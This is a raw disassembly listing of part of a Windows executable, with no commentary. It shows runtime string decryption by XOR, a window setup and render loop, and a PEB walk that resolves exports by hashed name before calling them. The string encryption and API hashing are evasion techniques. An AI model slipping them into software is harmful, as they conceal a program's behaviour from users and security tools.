movdqa xmm0, xmmword [rbp + 0x14c0]
pxor xmm0, xmmword [rbp + 0x9b20]
movdqa xmmword [rbp + 0x14c0], xmm0
movdqa xmm1, xmmword [rbp + 0x14d0]
pxor xmm1, xmmword [rbp + 0x9b30]
movdqa xmmword [rbp + 0x14d0], xmm1
movdqa xmm0, xmmword [rbp + 0x14e0]
pxor xmm0, xmmword [rbp + 0x9b40]
movdqa xmmword [rbp + 0x14e0], xmm0
lea rdx, [rbp + 0x14c0]
lea rcx, [rbp + 0x63c0]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x87e0]
call fcn.7ff7cbf58f9c
lea rdx, [0x7ff7cbf94700]
lea rcx, [rbp + 0x49c0]
call fcn.7ff7cbf35cc0
lea r8, [rbp + 0x87e0]
lea rdx, [rbp + 0x49c0]
lea rcx, [rbp + 0x9260]
call fcn.7ff7cbf53dc8
lea rcx, [rbp + 0x49c0]
call fcn.7ff7cbf3ecd0
movabs rbx, 0x76763a16a6035cd6
mov qword [rbp + 0x1f30], rbx
movabs rax, 0xe1b626810acfe8c3
mov qword [rbp + 0x1f38], rax
lea r8, [rbp + 0x1f40]
lea rdx, [rbp + 0x1f30]
lea rcx, [rbp + 0x9c60]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0x9c80], r13
mov qword [rbp + 0x1f20], r13
mov qword [rbp + 0x9c88], r12
mov qword [rbp + 0x1f28], r12
lea r8, [rbp + 0x1f30]
lea rdx, [rbp + 0x1f20]
lea rcx, [rbp + 0x9c40]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0x820], rbx
mov qword [rbp + 0x1f10], rbx
movabs rax, 0xe1b626810acfe8c3
mov qword [rbp + 0x828], rax
mov qword [rbp + 0x1f18], rax
lea r8, [rbp + 0x1f20]
lea rdx, [rbp + 0x1f10]
lea rcx, [rbp + 0x9d90]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0x820]
pxor xmm0, xmmword [rbp + 0x9c80]
movdqa xmmword [rbp + 0x820], xmm0
lea rdx, [rbp + 0x820]
lea rcx, [rbp + 0x63e0]
call fcn.7ff7cbf359ec
mov rbx, rax
lea rdx, [rbp + 0x9260]
lea rcx, [rbp + 0x6400]
call fcn.7ff7cbf359c8
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8f20]
call fcn.7ff7cbf58a40
movabs rbx, 0x625a3a06b1015dd6
mov qword [rbp + 0x1f00], rbx
movabs rax, 0xe1b652f216d6f5d3
mov qword [rbp + 0x1f08], rax
lea r8, [rbp + 0x1f10]
lea rdx, [rbp + 0x1f00]
lea rcx, [rbp + 0x9da0]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0x9bc0], r13
mov qword [rbp + 0x1cc0], r13
mov qword [rbp + 0x9bc8], r12
mov qword [rbp + 0x1cc8], r12
lea r8, [rbp + 0x1cd0]
lea rdx, [rbp + 0x1cc0]
lea rcx, [rbp + 0x9db0]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0x830], rbx
mov qword [rbp + 0x1c80], rbx
movabs rax, 0xe1b652f216d6f5d3
mov qword [rbp + 0x838], rax
mov qword [rbp + 0x1c88], rax
lea r8, [rbp + 0x1c90]
lea rdx, [rbp + 0x1c80]
lea rcx, [rbp + 0x9dc0]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0x830]
pxor xmm0, xmmword [rbp + 0x9bc0]
movdqa xmmword [rbp + 0x830], xmm0
lea rdx, [rbp + 0x830]
lea rcx, [rbp + 0x8f20]
call fcn.7ff7cbf2ab20
test al, al
je 0x7ff7cbf6e824
lea rdx, [rbp + 0x8f20]
lea rcx, [0x7ff7cbf935e0]
call fcn.7ff7cbf380f4
lea rcx, [rbp + 0x8f20]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x9260]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x87e0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x9280]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8b60]
call fcn.7ff7cbf376b0
mov rcx, qword [rbp + 0x99e0]
call fcn.7ff7cbf376b0
movabs rbx, 0x70092d06be0b49c3
lea rcx, [rbp + 0x8a40]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x85b8]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8ca0]
call fcn.7ff7cbf376b0
mov rax, qword [rsp + 0x68]
add rax, 0x20
mov qword [rsp + 0x68], rax
cmp rax, qword [rbp + 0x9ab0]
jne 0x7ff7cbf68a7e
lea rcx, [rbp + 0x8988]
call fcn.7ff7cbf3ec3c
movabs rbx, 0x76763a16a6035cd6
mov qword [rbp + 0x2010], rbx
movabs rax, 0xe1b626810acfe8c3
mov qword [rbp + 0x2018], rax
lea r8, [rbp + 0x2020]
lea rdx, [rbp + 0x2010]
lea rcx, [rbp + 0x9a70]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0x9c50], r13
mov qword [rbp + 0x2080], r13
mov qword [rbp + 0x9c58], r12
mov qword [rbp + 0x2088], r12
lea r8, [rbp + 0x2090]
lea rdx, [rbp + 0x2080]
lea rcx, [rbp + 0x9ad0]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0x840], rbx
mov qword [rbp + 0x2090], rbx
movabs rax, 0xe1b626810acfe8c3
mov qword [rbp + 0x848], rax
mov qword [rbp + 0x2098], rax
lea r8, [rbp + 0x20a0]
lea rdx, [rbp + 0x2090]
lea rcx, [rbp + 0x83e0]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0x840]
pxor xmm0, xmmword [rbp + 0x9c50]
movdqa xmmword [rbp + 0x840], xmm0
lea rdx, [rbp + 0x840]
lea rcx, [rbp + 0x6420]
call fcn.7ff7cbf359ec
mov rbx, rax
lea rdx, [rbp + 0x8f80]
lea rcx, [rbp + 0x6440]
call fcn.7ff7cbf359c8
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8f40]
call fcn.7ff7cbf58a40
movabs rbx, 0x625a3a06b1015dd6
mov qword [rbp + 0x20a0], rbx
movabs rax, 0xe1b652f216d6f5d3
mov qword [rbp + 0x20a8], rax
lea r8, [rbp + 0x20b0]
lea rdx, [rbp + 0x20a0]
lea rcx, [rbp + 0x9b80]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0x9b10], r13
mov qword [rbp + 0x20b0], r13
mov qword [rbp + 0x9b18], r12
mov qword [rbp + 0x20b8], r12
lea r8, [rbp + 0x20c0]
lea rdx, [rbp + 0x20b0]
lea rcx, [rbp + 0x8410]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0x850], rbx
mov qword [rbp + 0x20c0], rbx
movabs rax, 0xe1b652f216d6f5d3
mov qword [rbp + 0x858], rax
mov qword [rbp + 0x20c8], rax
lea r8, [rbp + 0x20d0]
lea rdx, [rbp + 0x20c0]
lea rcx, [rbp + 0x9bc0]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0x850]
pxor xmm0, xmmword [rbp + 0x9b10]
movdqa xmmword [rbp + 0x850], xmm0
lea rdx, [rbp + 0x850]
lea rcx, [rbp + 0x8f40]
call fcn.7ff7cbf2ab20
test al, al
je 0x7ff7cbf6ed24
lea rdx, [rbp + 0x8f40]
lea rbx, [0x7ff7cbf935e0]
mov rcx, rbx
call fcn.7ff7cbf380f4
lea rcx, [rbp + 0x8f40]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8f60]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8f80]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8660]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x92a0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x9ba0]
call fcn.7ff7cbf376b0
mov rcx, qword [rbp + 0x9a60]
call fcn.7ff7cbf376b0
mov rcx, qword [rbp + 0x9a90]
call fcn.7ff7cbf376b0
mov rcx, qword [rbp + 0x9ac0]
call fcn.7ff7cbf376b0
mov rcx, qword [rbp + 0x9aa0]
call fcn.7ff7cbf376b0
mov rcx, rbx
call fcn.7ff7cbf3fb20
mov rbx, rax
movabs rax, 0x516a0c30f23f05fe
mov qword [rbp + 0x2c90], rax
movabs rax, 0xaaf517ba2ce5dcf4
mov qword [rbp + 0x2c98], rax
movabs rax, 0x1965d97da5ef51a8
mov qword [rbp + 0x2ca0], rax
movabs rax, 0x899a4bcdf3707197
mov qword [rbp + 0x2ca8], rax
movabs rax, 0xccec465fcd4509f9
mov qword [rbp + 0x2cb0], rax
mov qword [rbp + 0x2cb8], rdi
lea r8, [rbp + 0x2cc0]
lea rdx, [rbp + 0x2c90]
lea rcx, [rbp + 0x9a70]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0x9a20], r13
mov qword [rbp + 0x3200], r13
mov qword [rbp + 0x9a28], r12
mov qword [rbp + 0x3208], r12
mov qword [rbp + 0x9a30], rsi
mov qword [rbp + 0x3210], rsi
mov qword [rbp + 0x9a38], r14
mov qword [rbp + 0x3218], r14
movabs rsi, 0xccec465fcd4509f9
mov qword [rbp + 0x9a40], rsi
mov qword [rbp + 0x3220], rsi
mov qword [rbp + 0x9a48], rdi
mov qword [rbp + 0x3228], rdi
lea r8, [rbp + 0x3230]
lea rdx, [rbp + 0x3200]
lea rcx, [rbp + 0x9ad0]
call fcn.7ff7cbf35cf8
movabs rax, 0x516a0c30f23f05fe
mov qword [rbp + 0x1490], rax
mov qword [rbp + 0x31d0], rax
movabs rax, 0xaaf517ba2ce5dcf4
mov qword [rbp + 0x1498], rax
mov qword [rbp + 0x31d8], rax
movabs rax, 0x1965d97da5ef51a8
mov qword [rbp + 0x14a0], rax
mov qword [rbp + 0x31e0], rax
movabs rax, 0x899a4bcdf3707197
mov qword [rbp + 0x14a8], rax
mov qword [rbp + 0x31e8], rax
mov qword [rbp + 0x14b0], rsi
mov qword [rbp + 0x31f0], rsi
mov qword [rbp + 0x14b8], rdi
mov qword [rbp + 0x31f8], rdi
lea r8, [rbp + 0x3200]
lea rdx, [rbp + 0x31d0]
lea rcx, [rbp + 0x83e0]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0x1490]
pxor xmm0, xmmword [rbp + 0x9a20]
movdqa xmmword [rbp + 0x1490], xmm0
movdqa xmm1, xmmword [rbp + 0x14a0]
pxor xmm1, xmmword [rbp + 0x9a30]
movdqa xmmword [rbp + 0x14a0], xmm1
movdqa xmm0, xmmword [rbp + 0x14b0]
pxor xmm0, xmmword [rbp + 0x9a40]
movdqa xmmword [rbp + 0x14b0], xmm0
mov rdx, rbx
lea rcx, [rbp + 0x1490]
call fcn.7ff7cbf63d9c
jmp 0x7ff7cbf75653
lea rcx, [rbp + 0x8f40]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8f60]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8f80]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8660]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x92a0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x9ba0]
call fcn.7ff7cbf376b0
mov rcx, qword [rbp + 0x9a60]
call fcn.7ff7cbf376b0
mov rcx, qword [rbp + 0x9a90]
call fcn.7ff7cbf376b0
mov rcx, qword [rbp + 0x9ac0]
call fcn.7ff7cbf376b0
mov rcx, qword [rbp + 0x9aa0]
call fcn.7ff7cbf376b0
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 0x20
mov edi, 1
lea r9d, [rdi + 0x1f]
mov r8d, edi
lea rdx, [0x7ff7cbf84378]
xor ecx, ecx
call qword [sym.imp.user32.dll_LoadImageA]
mov rbx, rax
mov dword [rbp + 0x8280], 0x50
mov dword [rbp + 0x8284], 0x40
lea rax, [0x7ff7cbf39a40]
mov qword [rbp + 0x8288], rax
mov qword [rbp + 0x8290], r15
xor ecx, ecx
call qword [sym.imp.kernel32.dll_GetModuleHandleA]
mov qword [rbp + 0x8298], rax
mov qword [rbp + 0x82a0], rbx
mov qword [rbp + 0x82a8], r15
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x82b0], xmm0
lea rbx, [0x7ff7cbf931e0]
mov qword [rbp + 0x82c0], rbx
mov qword [rbp + 0x82c8], r15
lea rcx, [rbp + 0x8280]
call qword [sym.imp.user32.dll_RegisterClassExA]
mov qword [rsp + 0x58], r15
mov rax, qword [rbp + 0x8298]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x40], r15
mov dword [rsp + 0x38], 5
mov dword [rsp + 0x30], 5
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
mov r9d, 0x80000000
mov r8, rbx
mov rdx, qword [rbp + 0x82c0]
xor ecx, ecx
call qword [sym.imp.user32.dll_CreateWindowExA]
mov qword [0x7ff7cbf946a8], rax
mov rcx, rax
call fcn.7ff7cbf39000
test al, al
jne 0x7ff7cbf6f00d
movabs rbx, 0x68402805f23f05fe
mov qword [rbp + 0x2970], rbx
movabs r15, 0x93d5729d1b9afdc3
mov qword [rbp + 0x2978], r15
movabs rdi, 0x3804e81189da7692
mov qword [rbp + 0x2980], rdi
movabs rax, 0x83b95d8bb2374cac
mov qword [rbp + 0x2988], rax
lea r8, [rbp + 0x2990]
lea rdx, [rbp + 0x2970]
lea rcx, [rbp + 0x9a70]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0x9a00], r13
mov qword [rbp + 0x2990], r13
mov qword [rbp + 0x9a08], r12
mov qword [rbp + 0x2998], r12
mov qword [rbp + 0x9a10], rsi
mov qword [rbp + 0x29a0], rsi
mov qword [rbp + 0x9a18], r14
mov qword [rbp + 0x29a8], r14
lea r8, [rbp + 0x29b0]
lea rdx, [rbp + 0x2990]
lea rcx, [rbp + 0x9ad0]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0x10b0], rbx
mov qword [rbp + 0x29b0], rbx
mov qword [rbp + 0x10b8], r15
mov qword [rbp + 0x29b8], r15
mov qword [rbp + 0x10c0], rdi
mov qword [rbp + 0x29c0], rdi
movabs rax, 0x83b95d8bb2374cac
mov qword [rbp + 0x10c8], rax
mov qword [rbp + 0x29c8], rax
lea r8, [rbp + 0x29d0]
lea rdx, [rbp + 0x29b0]
lea rcx, [rbp + 0x83e0]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0x10b0]
pxor xmm0, xmmword [rbp + 0x9a00]
movdqa xmmword [rbp + 0x10b0], xmm0
movdqa xmm1, xmmword [rbp + 0x10c0]
pxor xmm1, xmmword [rbp + 0x9a10]
movdqa xmmword [rbp + 0x10c0], xmm1
lea rcx, [rbp + 0x10b0]
call fcn.7ff7cbf63d9c
call fcn.7ff7cbf38f34
mov rdx, qword [rbp + 0x8298]
mov rcx, qword [rbp + 0x82c0]
call qword [sym.imp.user32.dll_UnregisterClassA]
mov r15d, 1
jmp 0x7ff7cbf7565e
xor edx, edx
mov rcx, qword [0x7ff7cbf946a8]
call qword [sym.imp.user32.dll_ShowWindow]
mov rcx, qword [0x7ff7cbf946a8]
call qword [sym.imp.user32.dll_UpdateWindow]
xor ecx, ecx
call fcn.7ff7cbef9314
call fcn.7ff7cbf01754
mov qword [rbp + 0x99f0], rax
mov qword [rax + 0x18], r15
bts dword [rax], 0xa
mov rcx, qword [0x7ff7cbf946a8]
call fcn.7ff7cbf1ed98
mov rcx, qword [0x7ff7cbf946b0]
call fcn.7ff7cbf1dc44
lea rcx, [0x7ff7cbf93540]
call fcn.7ff7cbf4e858
test al, al
jne 0x7ff7cbf6f0a0
lea rdx, [0x7ff7cbf94ae0]
lea rcx, [rbp + 0x53b0]
call fcn.7ff7cbf35870
mov rbx, rax
lea rdx, [0x7ff7cbf93540]
lea rcx, [rbp + 0x6460]
call fcn.7ff7cbf359c8
mov rdx, rbx
mov rcx, rax
call fcn.7ff7cbf5ccf4
mov dword [0x7ff7cbf946a4], 0x120
call qword [sym.imp.user32.dll_GetDesktopWindow]
mov rcx, rax
lea rdx, [rbp + 0x8c90]
call qword [sym.imp.user32.dll_GetWindowRect]
mov eax, dword [rbp + 0x8c98]
sub eax, dword [0x7ff7cbf931ec]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, dword [0x7ff7cbf7e928]
movss dword [0x7ff7cbf94664], xmm0
mov eax, dword [rbp + 0x8c9c]
sub eax, dword [0x7ff7cbf931f0]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, dword [0x7ff7cbf7e928]
movss dword [0x7ff7cbf9467c], xmm0
xorps xmm1, xmm1
movups xmmword [rbp + 0x8c00], xmm1
movups xmmword [rbp + 0x8c10], xmm1
movups xmmword [rbp + 0x8c20], xmm1
xorps xmm6, xmm6
movss xmm10, dword [0x7ff7cbf7ea9c]
movss xmm8, dword [0x7ff7cbf7eaa4]
movss xmm7, dword [0x7ff7cbf7e958]
movss xmm12, dword [0x7ff7cbf7ea90]
movss xmm11, dword [0x7ff7cbf7eaa0]
movss xmm9, dword [0x7ff7cbf7e9d0]
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x8c00]
call qword [sym.imp.user32.dll_PeekMessageA]
test eax, eax
je 0x7ff7cbf6f192
lea rcx, [rbp + 0x8c00]
call qword [sym.imp.user32.dll_TranslateMessage]
lea rcx, [rbp + 0x8c00]
call qword [sym.imp.user32.dll_DispatchMessageA]
jmp 0x7ff7cbf75261
call fcn.7ff7cbf1ddac
call fcn.7ff7cbf1f094
mov ecx, 2
call fcn.7ff7cbf63c98
test al, al
je 0x7ff7cbf6f250
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r10d, dword [rcx + r8 + 0x88]
add r10, r8
cmp r10, r8
je 0x7ff7cbf6f224
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x7ff7cbf6f224
mov edi, dword [r10 + 0x20]
dec r9d
lea rcx, [r8 + r9*4]
mov edx, dword [rcx + rdi]
add rdx, r8
mov r11d, 0xc74bd1cf
mov cl, byte [rdx]
inc rdx
test cl, cl
je 0x7ff7cbf6f21f
movsx ecx, cl
xor ecx, r11d
imul r11d, ecx, 0x1000193
mov cl, byte [rdx]
inc rdx
test cl, cl
jne 0x7ff7cbf6f200
cmp r11d, 0xa4d798ec
je 0x7ff7cbf6f229
test r9d, r9d
jne 0x7ff7cbf6f1e4
mov rax, qword [rax]
jmp 0x7ff7cbf6f1bf
mov ecx, dword [r10 + 0x1c]
add rcx, r8
mov eax, dword [r10 + 0x24]
add rax, r8
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r8
mov rcx, qword [0x7ff7cbf931d8]
call rdx
mov edi, 1
cmp byte [0x7ff7cbf94d58], r15b
jne 0x7ff7cbf6f2e2
mov ecx, 0xa
call fcn.7ff7cbf78368
mov rdx, rax
lea r8, [0x7ff7cbf83e58]
sub r8, rax
mov r9d, 9
mov cl, byte [r8 + rdx]
xor cl, 0xac
mov byte [rdx], cl
add rdx, rdi
sub r9, rdi
jne 0x7ff7cbf6f27a
mov byte [rax + 9], r15b
mov rdx, rax
lea rcx, [0x7ff7cbf93400]
call fcn.7ff7cbf2ab20
test al, al
je 0x7ff7cbf6f2db
lea rcx, [0x7ff7cbf93560]
call fcn.7ff7cbf4e858
test al, al
jne 0x7ff7cbf6f2db
lea rcx, [0x7ff7cbf93560]
call fcn.7ff7cbf3fb20
mov r8, qword [0x7ff7cbf93570]
mov rdx, rax
mov rcx, qword [0x7ff7cbf946b0]
call fcn.7ff7cbf38c70
mov qword [0x7ff7cbf94918], rax
mov byte [0x7ff7cbf94d58], dil
call fcn.7ff7cbf06858
mov dword [0x7ff7cbf946a4], 0x12a
cmp byte [0x7ff7cbf931d5], r15b
je 0x7ff7cbf718d7
lea rcx, [0x7ff7cbf93420]
call fcn.7ff7cbf3fb20
mov rbx, rax
mov ecx, 7
call fcn.7ff7cbf78368
mov rdx, rax
lea r8, [0x7ff7cbf84384]
sub r8, rax
mov r9d, 6
mov cl, byte [r8 + rdx]
xor cl, 0xac
mov byte [rdx], cl
add rdx, rdi
sub r9, rdi
jne 0x7ff7cbf6f32a
mov byte [rax + 6], r15b
lea r9, [0x7ff7cbf93760]
mov r8, rbx
mov rdx, rax
lea rcx, [0x7ff7cbf94d60]
call fcn.7ff7cbf0fbb8
movaps xmm2, xmm6
movaps xmm1, xmm6
lea rcx, [rbp + 0x35c0]
call fcn.7ff7cbf365e4
mov rbx, rax
movss xmm2, dword [0x7ff7cbf9467c]
movss xmm1, dword [0x7ff7cbf94664]
lea rcx, [rbp + 0x35c8]
call fcn.7ff7cbf365e4
mov r8, rbx
mov edx, 2
mov rcx, rax
call fcn.7ff7cbf0ad64
movaps xmm1, xmm8
cmp qword [0x7ff7cbf94918], r15
je 0x7ff7cbf6f3b3
movaps xmm2, xmm10
lea rcx, [rbp + 0x35d0]
jmp 0x7ff7cbf6f3c2
movss xmm2, dword [0x7ff7cbf7e9b4]
lea rcx, [rbp + 0x35d8]
call fcn.7ff7cbf365e4
xor edx, edx
mov rcx, rax
call fcn.7ff7cbf0ada8
movaps xmm0, xmm7
call fcn.7ff7cbf0ad4c
mov r8d, dword [0x7ff7cbf946a4]
lea rdx, [0x7ff7cbf931d5]
lea rcx, [0x7ff7cbf94d60]
call fcn.7ff7cbef4b30
test al, al
je 0x7ff7cbf718d7
cmp qword [0x7ff7cbf94918], r15
je 0x7ff7cbf6f4be
movss dword [rsp + 0x20], xmm6
movaps xmm3, xmm6
movaps xmm2, xmm6
movaps xmm1, xmm6
lea rcx, [rbp + 0x5400]
call fcn.7ff7cbf365f4
mov r14, rax
movss dword [rsp + 0x20], xmm7
movaps xmm3, xmm7
movaps xmm2, xmm7
movaps xmm1, xmm7
lea rcx, [rbp + 0x5430]
call fcn.7ff7cbf365f4
mov rsi, rax
movaps xmm2, xmm7
movaps xmm1, xmm7
lea rcx, [rbp + 0x35e0]
call fcn.7ff7cbf365e4
mov rdi, rax
movaps xmm2, xmm6
movaps xmm1, xmm6
lea rcx, [rbp + 0x35e8]
call fcn.7ff7cbf365e4
mov rbx, rax
movaps xmm2, xmm12
movss xmm1, dword [0x7ff7cbf85e98]
lea rcx, [rbp + 0x35f0]
call fcn.7ff7cbf365e4
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rsi
mov r9, rdi
mov r8, rbx
mov rdx, rax
mov rcx, qword [0x7ff7cbf94918]
call fcn.7ff7cbf22554
movabs rsi, 0x5c378c31ecae17f7
mov edi, 1
movabs r14, 0x83b338e8db4129c8
movaps xmm0, xmm11
call fcn.7ff7cbf07930
mov ecx, 9
call fcn.7ff7cbf78368
mov rbx, rax
mov rdx, rax
lea rax, [0x7ff7cbf84390]
sub rax, rdx
mov r8d, 8
mov cl, byte [rax + rdx]
xor cl, 0xac
mov byte [rdx], cl
add rdx, rdi
sub r8, rdi
jne 0x7ff7cbf6f4e7
mov byte [rbx + 8], r15b
lea ecx, [r8 + 0xb]
call fcn.7ff7cbf78368
mov rdx, rax
lea r8, [0x7ff7cbf843a0]
sub r8, rax
mov r9d, 0xa
mov cl, byte [r8 + rdx]
xor cl, 0xac
mov byte [rdx], cl
add rdx, rdi
sub r9, rdi
jne 0x7ff7cbf6f517
mov byte [rax + 0xa], r15b
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
mov r9d, 0x14
lea r8, [0x7ff7cbf94668]
mov rdx, rbx
mov rcx, rax
call fcn.7ff7cbf250c4
mov ecx, 9
call fcn.7ff7cbf78368
mov rbx, rax
mov rdx, rax
lea rax, [0x7ff7cbf843b0]
sub rax, rdx
mov r8d, 8
mov cl, byte [rax + rdx]
xor cl, 0xac
mov byte [rdx], cl
add rdx, rdi
sub r8, rdi
jne 0x7ff7cbf6f573
mov byte [rbx + 8], r15b
lea ecx, [r8 + 0xb]
call fcn.7ff7cbf78368
mov rdx, rax
lea r8, [0x7ff7cbf843c0]
sub r8, rax
mov r9d, 0xa
mov cl, byte [r8 + rdx]
xor cl, 0xac
mov byte [rdx], cl
add rdx, rdi
sub r9, rdi
jne 0x7ff7cbf6f5a3
mov byte [rax + 0xa], r15b
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], 0x8000
mov r9d, 0x1e
lea r8, [0x7ff7cbf94680]
mov rdx, rbx
mov rcx, rax
call fcn.7ff7cbf250c4
call fcn.7ff7cbf0750c
mov ecx, 0xa
call fcn.7ff7cbf78368
mov rdx, rax
lea r8, [0x7ff7cbf83e58]
sub r8, rax
mov r9d, 9
mov cl, byte [r8 + rdx]
xor cl, 0xac
mov byte [rdx], cl
add rdx, rdi
sub r9, rdi
jne 0x7ff7cbf6f604
mov byte [rax + 9], r15b
mov rdx, rax
lea rcx, [0x7ff7cbf93400]
call fcn.7ff7cbf2ab20
test al, al
je 0x7ff7cbf6f73d
movaps xmm0, xmm12
call fcn.7ff7cbf02a40
movaps xmm2, xmm6
movaps xmm1, xmm6
lea rcx, [rbp + 0x35f8]
call fcn.7ff7cbf365e4
mov rbx, rax
movabs rax, 0x764c3d10bb054df7
mov qword [rbp + 0x20d0], rax
mov qword [rbp + 0x20d8], r12
lea r8, [rbp + 0x20e0]
lea rdx, [rbp + 0x20d0]
lea rcx, [rbp + 0x9a70]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0xa300], r13
mov qword [rbp + 0x20e0], r13
mov qword [rbp + 0xa308], r12
mov qword [rbp + 0x20e8], r12
lea r8, [rbp + 0x20f0]
lea rdx, [rbp + 0x20e0]
lea rcx, [rbp + 0x9ad0]
call fcn.7ff7cbf35cf8
movabs rax, 0x764c3d10bb054df7
mov qword [rbp + 0x860], rax
mov qword [rbp + 0x20f0], rax
mov qword [rbp + 0x868], r12
mov qword [rbp + 0x20f8], r12
lea r8, [rbp + 0x2100]
lea rdx, [rbp + 0x20f0]
lea rcx, [rbp + 0x83e0]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0x860]
pxor xmm0, xmmword [rbp + 0xa300]
movdqa xmmword [rbp + 0x860], xmm0
mov rdx, rbx
lea rcx, [rbp + 0x860]
call fcn.7ff7cbf21118
movzx ecx, byte [0x7ff7cbf9469f]
test al, al
cmovne ecx, edi
mov byte [0x7ff7cbf9469f], cl
movaps xmm1, xmm9
movaps xmm0, xmm6
call fcn.7ff7cbf0a134
jmp 0x7ff7cbf6f74a
movss xmm0, dword [0x7ff7cbf7e9b8]
call fcn.7ff7cbf02a40
movaps xmm2, xmm6
movaps xmm1, xmm6
lea rcx, [rbp + 0x3600]
call fcn.7ff7cbf365e4
mov rbx, rax
mov ecx, 8
call fcn.7ff7cbf78368
mov rdx, rax
lea r8, [0x7ff7cbf843d0]
sub r8, rax
mov r9d, 7
mov cl, byte [r8 + rdx]
xor cl, 0xac
mov byte [rdx], cl
add rdx, rdi
sub r9, rdi
jne 0x7ff7cbf6f77c
mov byte [rax + 7], r15b
mov rdx, rbx
mov rcx, rax
call fcn.7ff7cbf21118
test al, al
je 0x7ff7cbf718d2
lea rbx, [0x7ff7cbf83e98]
mov r8, rbx
lea rdx, [0x7ff7cbf93220]
lea rcx, [rbp + 0x52f0]
call fcn.7ff7cbf2ad48
mov rdx, rax
lea r8, [0x7ff7cbf93260]
lea rcx, [rbp + 0x5200]
call fcn.7ff7cbf2ac24
mov rdx, rax
mov r8, rbx
lea rcx, [rbp + 0x51e0]
call fcn.7ff7cbf2ac80
mov rdx, rax
lea r8, [0x7ff7cbf932c0]
lea rcx, [rbp + 0x51c0]
call fcn.7ff7cbf2ac24
mov rdx, rax
mov r8, rbx
lea rcx, [rbp + 0x51a0]
call fcn.7ff7cbf2ac80
mov rdx, rax
lea r8, [0x7ff7cbf932e0]
lea rcx, [rbp + 0x5180]
call fcn.7ff7cbf2ac24
mov rdx, rax
mov r8, rbx
lea rcx, [rbp + 0x5160]
call fcn.7ff7cbf2ac80
mov rdx, rax
lea r8, [0x7ff7cbf93320]
lea rcx, [rbp + 0x5140]
call fcn.7ff7cbf2ac24
mov rdx, rax
mov r8, rbx
lea rcx, [rbp + 0x5120]
call fcn.7ff7cbf2ac80
mov rdx, rax
lea r8, [0x7ff7cbf93300]
lea rcx, [rbp + 0x5100]
call fcn.7ff7cbf2ac24
mov rdx, rax
mov r8, rbx
lea rcx, [rbp + 0x50e0]
call fcn.7ff7cbf2ac80
mov rdx, rax
lea r8, [0x7ff7cbf93240]
lea rcx, [rbp + 0x50c0]
call fcn.7ff7cbf2ac24
mov rdx, rax
mov r8, rbx
lea rcx, [rbp + 0x50a0]
call fcn.7ff7cbf2ac80
mov rdx, rax
lea r8, [0x7ff7cbf93340]
lea rcx, [rbp + 0x5080]
call fcn.7ff7cbf2ac24
mov rdx, rax
mov r8, rbx
lea rcx, [rbp + 0x5060]
call fcn.7ff7cbf2ac80
mov rdx, rax
lea r8, [0x7ff7cbf93380]
lea rcx, [rbp + 0x8ce0]
call fcn.7ff7cbf2ac24
lea rcx, [rbp + 0x5060]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x5080]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x50a0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x50c0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x50e0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x5100]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x5120]
call fcn.7ff7cbf376b0
